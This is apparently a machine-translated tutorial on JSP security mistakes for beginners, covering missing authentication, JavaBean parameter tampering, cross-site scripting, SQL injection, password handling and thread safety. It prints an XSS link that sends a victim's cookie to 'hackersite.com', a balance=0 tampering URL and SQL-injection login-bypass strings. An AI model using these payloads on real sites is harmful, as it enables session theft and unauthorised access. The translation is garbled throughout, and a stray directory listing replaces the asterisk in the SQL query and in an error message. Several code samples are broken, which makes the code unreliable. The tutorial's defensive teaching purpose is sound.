Java Server Page (JSP) to create dynamic Web pages, as technology is constantly heating up. JSP and ASP, PHP, not the same working mechanism. In general, JSP pages are compiled in the execution-style, rather than to explain style. First call the implementation of a JSP file is compiled to Servlet process. When a browser requests to the server that a JSP file, the server will check since the last compiled JSP files have changed, if not changed, the direct implementation of the Servlet, without re-compilation, so that efficiency will be improved obviously .
Today I will join from the perspective of JSP scripting security source who exposed the class, such as security risks discussed in this article is not within the scope of the. The main purpose of writing this article is for beginners JSP Programming friends mind you, from the beginning of the culture of safety awareness program, do not commit mistakes should not prevent avoidable losses. Also, I am beginner, any errors or other comments, please post enlighten.
First, strict certification - low errors
Yi-yang in the revised version v1.12 forum,
user_manager.jsp is the user management page, the authors know its sensitivity, combined with a lock:
if ((session.getValue ("UserName") == null) │ │ (session.getValue ("UserClass") == null) │ │ (! session.getValue ("UserClass"). equals (" system administrator ")))
(
response.sendRedirect ("err.jsp? id = 14");
return;
)
If you want to view, modify a user's information, we must use modifyuser_manager.jsp this file. Administrator to submit
http://www.somesite.com/yyforum/modifyuser_manager.jsp?modifyid=51
That view, modify the user ID information 51 (the default administrator user ID is 51). However, the lack of such an important document actually certified, general users (including tourists) also can be submitted directly to the request of its glance (the password is stored in clear text, display). modifyuser_manage.jsp also open the door until the malicious user data to update the operation is finished, redirected to user_manager.jsp when he saw the late will display the wrong page. Obviously, only a door lock is not enough, the programming time must be taken the trouble to add for each of the places with identity authentication.
Second, keep a good entry JavaBean
JSP is the core component technology known as the java bean component. Can be put in the program logic control, database operations on the javabeans components, and then call it in the JSP file, so the clarity of procedures and processes increase the reusability. And traditional compared to ASP or PHP page, JSP page is very simple, because many processes can be dynamic pages in the package to the JavaBean.
To change the JavaBean property, use the "" mark.
The following code is an electronic shopping system imaginary part of the source, this file is used to display the user's shopping information in the box, but checkout.jsp is used to checkout.
You have added the item
to your basket.
Your total is $
Proceed to checkout
Noting property = "*" it? This indicates that the user can see the JSP page input, or submit directly through the Query String value of all variables will be stored to match the bean property.
General, the user is presented this request:
http://www.somesite.com / addToBasket.jsp? newItem = ITEM0105342
However, users do not abide by the rules? They may be submitted to:
http://www.somesite.com / addToBasket.jsp? newItem = ITEM0105342 & balance = 0
This, balance = 0 the information was in the store to the JavaBean in the. When they then click on "chekout" checkout time, the cost to free up.
This global variable in PHP security problems caused by exactly the same. This shows that: "property ="*"" must be used with caution!
3, focused cross-site scripting
XSS (Cross Site Scripting) attack is a remote WEB page HTML code in hand to insert malicious JavaScript, VBScript, ActiveX, HTML, or Flash and other scripts, visit this page to steal the user's privacy, change user settings destroy your data. Cross-site scripting attack in most cases will not run the server and WEB program impact, but the safety of the client poses a serious threat.
Network of Arab dishes with imitation Forum (beta-1) give the simplest example. When we submitted
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser <; script> alert (document.cookie)
Can pop up a dialog box that contains its own cookie information. Submitted
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser <; script> document.location = 'http://www.163.com'
Can be redirected to NetEase.
Due to return to "name" variable value to the client, the script without any coding or filter malicious code, when a user visits a malicious embedded "name" variable data link, will cause the script code in the user's browser on the implementation, may lead to user privacy and other consequences of disclosure. For example the following links:
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser <; script> document.location = 'http://www.hackersite.com/xxx.xxx?' + document.cookie
xxx.xxx used to collect the back with the parameters of the parameter specified here is document.cookie, that is, visit this link to a user's cookie. In the ASP world, many people have to steal a cookie technology turn out to be a pure blue. In the JSP, the cookie is not difficult to read. Of course, cross-site scripting is not never been a feature restricted to steal this cookie, I believe we all must be aware that there is not started.
All dynamic pages on the input and output should be encoded, can largely avoid cross-site scripting attacks. Unfortunately, all credible data encoding is resource-intensive work, will produce Web server performance impact. The means used for input data or filter, for example put the following code to replace the dangerous character:
message = message.replace ('
message = message.replace ('>','_');
message = message.replace ('"','_');
message = message.replace (''','_');
message = message.replace ('%','_'); [transferred from: 51item.net]
message = message.replace (';','_');
message = message.replace ('(','_');
message = message.replace (')','_');
message = message.replace ('&','_');
message = message.replace ('+','_');%>
A more proactive approach is to use regular expressions only allow importation of the specified characters:
public boolean isValidInput (String str)
(
if (str.matches ("[a-z0-9 ]+")) return true;
else return false;
)
Fourth, always remember that SQL injection
General programming books do not pay attention to when teaching beginners from entry when they cultivate the habit of safety programming. The famous "JSP Programming Theory and Practice" is the preparation of such a demonstration to beginners login system with a database (the database is MySQL):
Statement stmt = conn.createStatement ();
String checkUser = "select backup bin conf config data eshow_sitemap.html generate.sh log maint sitemap.html svn tmp from login where username = '" + userName + "' and userpassword = '" + userPassword + "' ";
ResultSet rs = stmt.executeQuery (checkUser);
if (rs.next ())
response.sendRedirect ("SuccessLogin.jsp");
else
response.sendRedirect ("FailureLogin.jsp");
This allows the book to make people believe prolonged use of this birth, "with holes" in the login code. If there is a database called "jack" of the user, then do not know the password in the case of at least several ways to log the following:
User Name: jack
Password: 'or' a '=' a
User Name: jack
Password: 'or 1 = 1 / *
User Name: jack 'or 1 = 1 / *
Password: (optional)
lybbs (Lingyun Forum) ver 2.9.Server in LogInOut.java is that the data submitted to the registry check:
if (s.equals ("") │ │ s1.equals (""))
throw new UserException ("user name or password can not be null.");
if (s.indexOf ("'")! = -1 │ │ s.indexOf (""")! = -1 │ │ s.indexOf (",")! = -1 │ │ s.indexOf ("\")! = -1)
throw new UserException ("User name can not contain '" \, and other illegal characters. ");
if (s1.indexOf ("'")! = -1 │ │ s1.indexOf (""")! = -1 │ │ s1.indexOf ("*")! = -1 │ │ s1.indexOf ("\")! = -1)
throw new UserException ("password can not contain '" \ backup bin conf config data eshow_sitemap.html generate.sh log maint sitemap.html svn tmp and other illegal characters. ");
if (s.startsWith ("") │ │ s1.startsWith (""))
throw new UserException ("user name or password can not use spaces.");
But I do not know why he had not only the user name password filter asterisk. In addition, the forward slash should be listed seem to "blacklist". I still think using a regular expression is only allowed in designated areas of the characters come altogether.
A word of caution here: Do not think that can be born with some of the database system, "security" can be effective against all attacks. pinkeyes of thing I read "PHP injection instance," give those who rely on PHP's configuration file "magic_quotes_gpc = On" of the people a lesson.
5, String to bring the hidden object
Java platform is indeed more convenient for the security program. Java, no pointers, which means that Java programs can no longer C address space as any of the memory location addressing. In the JSP file is compiled. Class files are checked when security problems, such as access to an array size of array elements beyond the attempt will be rejected, largely to avoid the buffer overflow attacks. However, String object is give us some security on the hidden dangers. If the password is stored in a Java String object, until it is garbage collected or prior to the termination process, the password will always reside in memory. Even with the garbage collection, it will still exist in the free memory heap, up until the reuse of the memory space. String password longer resident in memory, being the greater the risk of eavesdropping. Worse, if the actual memory reduction, the operating system will change the password String scheduling page to disk swap space, so vulnerable to eavesdropping attacks on disk blocks. In order to minimize the possibility of such a leak (but not eliminate), you should password is stored in the char array, and after use of its zero (String is immutable, it is impossible to zero).
6, thread-safety of
"JAVA can do, JSP can do." With ASP, PHP and other scripting languages are different, JSP default mode is multi-threaded execution. To multi-threaded manner can greatly reduce the demand on system resources, increase system capacity and response time of concurrent. Thread in the program is an independent, concurrent paths of execution, each thread has its own stack, program counter and its own local variables. While multithreaded applications can be most operations in parallel, but there are certain operations (such as updating the global sign or handle shared files) can not be parallel. If you do not do thread synchronization, in a large amount of concurrent access, malicious users do not need to "active participation", the problem will arise. The simplest solution is in the relevant JSP file with: command, to make it to single-threaded manner, this time, all client requests in a serial manner. This will seriously reduce system performance. We can still make JSP files to multi-threaded manner, through the lock function to synchronize threads. Synchronized keyword on a function obtained with a lock. See the following example:
public class MyClass (
int a;
public Init () (/ / This method can be called multiple threads simultaneously
a = 0;
)
public synchronized void Set () (/ / two threads can not call this method at the same time
if (a> 5) (
a = a-5;
)
)
)
But this still will have some impact system performance. A better solution is to use local variables instead of instance variables. Because the instance variable is allocated in the heap, were are all the threads share the instance is not thread safe, and local variables allocated on the stack, because each thread has its own stack space, so this thread is safe the. Lingyun forums such as add friend code:
public void addFriend (int i, String s, String s1)
throws DBConnectException
(
try
(
if ... ...
else
(
DBConnect dbconnect = new DBConnect ("insert into friend (authorid, friendname) values (?,?)");
dbconnect.setInt (1, i);
dbconnect.setString (2, s);
dbconnect.executeUpdate ();
dbconnect.close ();
dbconnect = null;
)
)
catch (Exception exception)
(
throw new DBConnectException (exception.getMessage ());
)
)
The following is called:
friendName = ParameterUtils.getString (request, "friendname");
if (action.equals ("adduser")) (
forumFriend.addFriend (Integer.parseInt (cookieID), friendName, cookieName);
errorInfo = forumFriend.getErrorInfo ();
)
If you use the instance variable, then the instance variable belongs to all the threads share the instance, there may be a user A parameters passed to the thread of his sleep, while the parameter B by the user inadvertently changes, resulting in good Friends of the mismatch.